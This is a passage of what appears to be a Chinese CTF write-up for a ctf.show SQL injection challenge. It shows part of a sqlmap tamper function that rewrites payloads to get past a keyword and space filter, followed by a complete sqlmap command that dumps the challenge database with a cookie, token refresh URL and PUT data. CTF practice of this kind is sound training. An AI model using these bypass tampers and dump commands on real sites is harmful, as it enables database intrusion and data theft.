                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x31)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

python ./sqlmap.py -u "http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=rruut5lcilotv3sbidlsrgic9r" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb210.py"

你可能感兴趣的:(CTFSHOW,sql,安全)